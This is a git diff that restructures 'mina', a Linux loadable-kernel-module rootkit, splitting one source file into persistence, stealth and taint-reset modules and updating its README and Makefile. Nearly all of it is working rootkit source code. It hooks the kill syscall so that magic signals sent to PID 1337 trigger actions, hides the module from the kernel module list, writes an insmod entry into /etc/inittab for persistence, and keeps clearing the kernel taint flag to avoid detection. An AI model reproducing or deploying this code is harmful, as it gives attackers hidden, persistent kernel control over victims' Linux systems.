diff --git a/README.md b/README.md
@@ -2,7 +2,7 @@
the mina rootkit . . .
-experimental LKM rootkit, tested on `Linux 6.11.2`
+experimental LKM rootkit, tested on `Linux 6.1.0-28`

@@ -19,9 +19,16 @@ sudo make load
sudo make unload
```
-
## Features
+- hide from ring3
+- persistence module
+- kill-hook to retrieve commands to execute
+- hide taint-kernel warning
+
+
+## Commands
+
### install persistence
run command `kill -50 1337`
diff --git a/rootkit/Makefile b/rootkit/Makefile
@@ -7,10 +7,14 @@ help:
@echo "\033[34mmina.ko targets:\033[0m"
@perl -nle'print $& if m{^[a-zA-Z_-\d]+:.*?## .*$$}' $(MAKEFILE_LIST) | sort | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-22s\033[0m %s\n", $$1, $$2}'
+# FIXME(djnn): auto-gen this ?
MINA_CLIENT_ID = meow
obj-m := mina_$(MINA_CLIENT_ID).o
-mina_$(MINA_CLIENT_ID)-objs := mina.o
+mina_$(MINA_CLIENT_ID)-objs := sources/mina.o \
+ sources/taint_reset.o \
+ sources/stealth.o \
+ sources/persistence.o
MY_CFLAGS += -Wno-missing-prototypes -Wno-missing-declarations
diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -7,15 +7,30 @@
#include <linux/module.h>
#include <linux/slab.h>
-// persistence
-int add_inittab_entry(char const *entry);
-
-// module_hiding
-void toggle_hide_module(void);
-
#define PERSISTENCE_CODE (50)
#define TOGGLE_HIDE_CODE (60)
#define MAGIC_PID (1337)
+// stealth.c
+void toggle_hide_module(void);
+
+// persistence.c
+int add_inittab_entry(char const *entry);
+
+/* TODO(djnn): this should be configurable by the user once reverse-shell feature is active */
+#define PERSISTENCE_TAB_ENTRY ("::sysinit:/sbin/insmod /root/mina.ko\n")
+int add_inittab_entry(char const *entry);
+
+// taint_reset.c
+
+#define RESET_THREAD_NAME ("minamina") /* FIXME(djnn): autogen on compilation ? */
+#define TAINT_RESET_SLEEP_TIME (5)
+
+int zerotaint_thread(void *data);
+unsigned long *get_taint_mask_address(void);
+
+// mina.c (symbol should be exported because it uses global var but called somewhere else)
+void reset_taint_mask(void);
+
#endif /* __KERNEL_MINA_H */
diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -1,197 +0,0 @@
-#include <linux/delay.h>
-#include <linux/fs.h>
-#include <linux/init.h>
-#include <linux/kernel.h>
-#include <linux/kprobes.h>
-#include <linux/kthread.h>
-#include <linux/module.h>
-#include <linux/slab.h>
-#include <linux/version.h>
-
-#include "includes/mina.h"
-
-/*
- TODO(djnn):
-
-the next step is to increase the stealth of the rootkit, before we want to add
-some features.
-
-features ideas:
-- autoroot
-- hide directories
-- hide tcp-traffic (ICMP with a specific header in datafield)
-
-*/
-
-MODULE_LICENSE("GPL");
-MODULE_AUTHOR("djnn <[email protected]>");
-MODULE_DESCRIPTION("mina LKM rootkit");
-MODULE_VERSION("0.0.1");
-
-/*
- * mina.ko/rootkit
- * tiny LKM rootkit written by djnn (https://djnn.sh)
- */
-
-/* used for hooking */
-#include "includes/ftrace_helper.h"
-
-/* KILL HOOK */
-
-static asmlinkage long (*original_kill)(const struct pt_regs *);
-asmlinkage long hooked_kill_syscall(struct pt_regs *regs) {
- int signal = regs->si;
- int pid = regs->di;
-
- if (signal == PERSISTENCE_CODE && pid == MAGIC_PID) {
- const char *str = "::sysinit:/sbin/insmod /root/mina.ko\n";
- return add_inittab_entry(str);
- }
-
- if (signal == TOGGLE_HIDE_CODE && pid == MAGIC_PID) {
- toggle_hide_module();
- return 0;
- }
- return original_kill(regs);
-}
-
-static struct ftrace_hook hooks[] = {
- HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill),
-};
-
-/* required to show / hide the module (not hidden by default) */
-
-void toggle_hide_module(void) {
- static int current_module_is_hidden = 0;
- static struct list_head *prev_module = NULL;
-
- if (current_module_is_hidden == 1) {
- if (prev_module) {
- list_add(&THIS_MODULE->list, prev_module);
- printk(KERN_INFO "[mina] welcome back!\n");
- } else {
- printk(KERN_ERR "[mina] prev_module is NULL\n");
- }
- current_module_is_hidden = 0;
- } else {
- if (&THIS_MODULE->list) {
- prev_module = THIS_MODULE->list.prev;
- list_del(&THIS_MODULE->list);
- current_module_is_hidden = 1;
- } else {
- printk(KERN_ERR "[mina] THIS_MODULE->list is NULL\n");
- }
- }
-}
-
-int add_inittab_entry(char const *entry) {
- int ret = 0;
- struct file *file;
- loff_t pos = 0;
-
- file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0);
- if (IS_ERR(file)) {
- printk(KERN_ERR "[mina] Error opening /etc/inittab: %ld\n", PTR_ERR(file));
- return PTR_ERR(file);
- }
-
- if (!file || !entry) {
- printk(KERN_ERR "[mina] Invalid file or entry\n");
- ret = -EINVAL;
- goto out;
- }
-
- ret = kernel_write(file, entry, strlen(entry), &pos);
- if (ret < 0) {
- printk(KERN_ERR "[mina] Error writing to /etc/inittab: %d\n", ret);
- goto out;
- }
-
-out:
- filp_close(file, NULL);
- return ret;
-}
-
-/* taint bypass */
-
-#define RESET_THREAD_NAME "minamina"
-
-static struct task_struct *cleaner_thread = NULL;
-static unsigned long *taint_mask_ptr = NULL;
-
-static struct kprobe probe_lookup = {
- .symbol_name = "kallsyms_lookup_name"};
-
-static unsigned long *get_taint_mask_address(void) {
- typedef unsigned long (*lookup_name_fn)(const char *name);
-
- lookup_name_fn kallsyms_lookup_fn;
- unsigned long *taint_addr = NULL;
-
- if (register_kprobe(&probe_lookup) < 0) {
- printk(KERN_ERR "Failed to register kprobe.\n");
- return NULL;
- }
-
- kallsyms_lookup_fn = (lookup_name_fn)probe_lookup.addr;
- unregister_kprobe(&probe_lookup);
-
- if (kallsyms_lookup_fn) {
- taint_addr = (unsigned long *)kallsyms_lookup_fn("tainted_mask");
- if (!taint_addr) {
- printk(KERN_ERR "Could not find tainted_mask address.\n");
- }
- } else {
- printk(KERN_ERR "kallsyms_lookup_name not found.\n");
- }
-
- return taint_addr;
-}
-
-static void reset_taint_mask(void) {
- if (taint_mask_ptr && *taint_mask_ptr != 0) {
- *taint_mask_ptr = 0;
- }
-}
-
-static int zerotaint_thread(void *data) {
- while (!kthread_should_stop()) {
- reset_taint_mask();
- ssleep(5);
- }
- return 0;
-}
-
-static int __init module_start(void) {
- int error = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
- if (error) {
- return error;
- }
-
- taint_mask_ptr = get_taint_mask_address();
- if (!taint_mask_ptr) {
- printk(KERN_ERR "Could not get tainted_mask address.\n");
- return -EFAULT;
- }
-
- cleaner_thread = kthread_run(zerotaint_thread, NULL, RESET_THREAD_NAME);
- if (IS_ERR(cleaner_thread)) {
- printk(KERN_ERR "Failed to start tainted_mask cleaner thread.\n");
- return PTR_ERR(cleaner_thread);
- }
-
- printk(KERN_INFO "mina is cute ~\n");
- return 0;
-}
-
-static void __exit module_end(void) {
- if (cleaner_thread) {
- kthread_stop(cleaner_thread);
- }
-
- fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
- printk(KERN_INFO "bye-bye mina ~\n");
-}
-
-module_init(module_start);
-module_exit(module_end);
diff --git a/rootkit/sources/mina.c b/rootkit/sources/mina.c
@@ -0,0 +1,120 @@
+#include <linux/delay.h>
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/kprobes.h>
+#include <linux/kthread.h>
+#include <linux/module.h>
+#include <linux/slab.h>
+#include <linux/version.h>
+
+#include "../includes/mina.h"
+
+/*
+ TODO(djnn):
+
+the next step is to increase the stealth of the rootkit, before we want to add
+some features.
+
+features ideas:
+- autoroot
+- hide directories
+- hide tcp-traffic (ICMP with a specific header in datafield)
+
+*/
+
+MODULE_LICENSE("GPL");
+MODULE_AUTHOR("djnn <[email protected]>");
+MODULE_DESCRIPTION("mina LKM rootkit");
+MODULE_VERSION("0.0.1");
+
+/*
+ * mina.ko/rootkit
+ * tiny LKM rootkit written by djnn (https://djnn.sh)
+ */
+
+/* ------============= HOOKS ==============----- */
+
+#include "../includes/ftrace_helper.h"
+
+/* ------=== KILL HOOK ===----- */
+
+static asmlinkage long (*original_kill)(const struct pt_regs *);
+asmlinkage long hooked_kill_syscall(struct pt_regs *regs) {
+ int signal = regs->si;
+ int pid = regs->di;
+
+ if (pid != MAGIC_PID)
+ goto normalkill;
+
+ switch (signal) {
+ case PERSISTENCE_CODE:
+ return add_inittab_entry(PERSISTENCE_TAB_ENTRY);
+
+ case TOGGLE_HIDE_CODE:
+ toggle_hide_module();
+ return 0;
+ }
+
+normalkill:
+ return original_kill(regs);
+}
+
+/* ------=== HOOKS DEFINITIONS ===----- */
+
+static struct ftrace_hook hooks[] = {
+ HOOK("__x64_sys_kill", hooked_kill_syscall, &original_kill),
+};
+
+/* --------------------------------------------- */
+/* ------======= Reset taint marker =======----- */
+
+static struct task_struct *cleaner_thread = NULL;
+static unsigned long *taint_mask_ptr = NULL;
+
+void reset_taint_mask(void) {
+ if (taint_mask_ptr && *taint_mask_ptr != 0) {
+ *taint_mask_ptr = 0;
+ }
+}
+
+/* --------------------------------------------- */
+/* ------====== start / end routines ======----- */
+
+static int __init module_start(void) {
+ int error = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
+ if (error) {
+ return error;
+ }
+
+ taint_mask_ptr = get_taint_mask_address();
+ if (!taint_mask_ptr) {
+ printk(KERN_ERR "[mina] Could not get tainted_mask address.\n");
+ return -EFAULT;
+ }
+
+ reset_taint_mask();
+ cleaner_thread = kthread_run(zerotaint_thread, NULL, RESET_THREAD_NAME);
+ if (IS_ERR(cleaner_thread)) {
+ printk(KERN_ERR "[mina] Failed to start tainted_mask cleaner thread.\n");
+ return PTR_ERR(cleaner_thread);
+ }
+
+ printk(KERN_INFO "mina is cute ~\n");
+ return 0;
+}
+
+static void __exit module_end(void) {
+ if (cleaner_thread) {
+ kthread_stop(cleaner_thread);
+ reset_taint_mask();
+ }
+
+ fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
+ printk(KERN_INFO "bye-bye mina ~\n");
+}
+
+/* --------------------------------------------- */
+
+module_init(module_start);
+module_exit(module_end);
diff --git a/rootkit/sources/persistence.c b/rootkit/sources/persistence.c
@@ -0,0 +1,39 @@
+#include <linux/delay.h>
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/kprobes.h>
+#include <linux/kthread.h>
+#include <linux/module.h>
+#include <linux/slab.h>
+#include <linux/version.h>
+
+#include "../includes/mina.h"
+
+int add_inittab_entry(char const *entry) {
+ int ret = 0;
+ struct file *file;
+ loff_t pos = 0;
+
+ file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0);
+ if (IS_ERR(file)) {
+ printk(KERN_ERR "[mina] Error opening /etc/inittab: %ld\n", PTR_ERR(file));
+ return PTR_ERR(file);
+ }
+
+ if (!file || !entry) {
+ printk(KERN_ERR "[mina] Invalid file or entry\n");
+ ret = -EINVAL;
+ goto out;
+ }
+
+ ret = kernel_write(file, entry, strlen(entry), &pos);
+ if (ret < 0) {
+ printk(KERN_ERR "[mina] Error writing to /etc/inittab: %d\n", ret);
+ goto out;
+ }
+
+out:
+ filp_close(file, NULL);
+ return ret;
+}
diff --git a/rootkit/sources/stealth.c b/rootkit/sources/stealth.c
@@ -0,0 +1,30 @@
+#include <linux/delay.h>
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/kprobes.h>
+#include <linux/kthread.h>
+#include <linux/module.h>
+#include <linux/slab.h>
+#include <linux/version.h>
+
+#include "../includes/mina.h"
+
+void toggle_hide_module(void) {
+ static int current_module_is_hidden = 0;
+ static struct list_head *prev_module = NULL;
+
+ if (current_module_is_hidden == 1) {
+ if (prev_module) {
+ list_add(&THIS_MODULE->list, prev_module);
+ printk(KERN_INFO "[mina] welcome back!\n");
+ } else {
+ printk(KERN_ERR "[mina] prev_module is NULL\n");
+ }
+ current_module_is_hidden = 0;
+ } else {
+ prev_module = THIS_MODULE->list.prev;
+ list_del(&THIS_MODULE->list);
+ current_module_is_hidden = 1;
+ }
+}
diff --git a/rootkit/sources/taint_reset.c b/rootkit/sources/taint_reset.c
@@ -0,0 +1,38 @@
+#include <linux/delay.h>
+#include <linux/fs.h>
+#include <linux/init.h>
+#include <linux/kernel.h>
+#include <linux/kprobes.h>
+#include <linux/kthread.h>
+#include <linux/module.h>
+#include <linux/slab.h>
+#include <linux/version.h>
+
+#include "../includes/mina.h"
+
+unsigned long *get_taint_mask_address(void) {
+ typedef unsigned long (*lookup_name_fn)(const char *name);
+
+ /* symbol is not exported in modern kernels, so we use a kprobe to get the function address */
+ struct kprobe probe_lookup = {
+ .symbol_name = "kallsyms_lookup_name",
+ };
+
+ if (register_kprobe(&probe_lookup) < 0) {
+ printk(KERN_ERR "Failed to register kprobe.\n");
+ return NULL;
+ }
+
+ lookup_name_fn kallsyms_lookup_fn = (lookup_name_fn)probe_lookup.addr;
+ unregister_kprobe(&probe_lookup);
+
+ return (kallsyms_lookup_fn) ? (unsigned long *)kallsyms_lookup_fn("tainted_mask") : NULL;
+}
+
+int zerotaint_thread(void *data) {
+ while (!kthread_should_stop()) {
+ reset_taint_mask();
+ ssleep(TAINT_RESET_SLEEP_TIME);
+ }
+ return 0;
+}
| | | | | | | |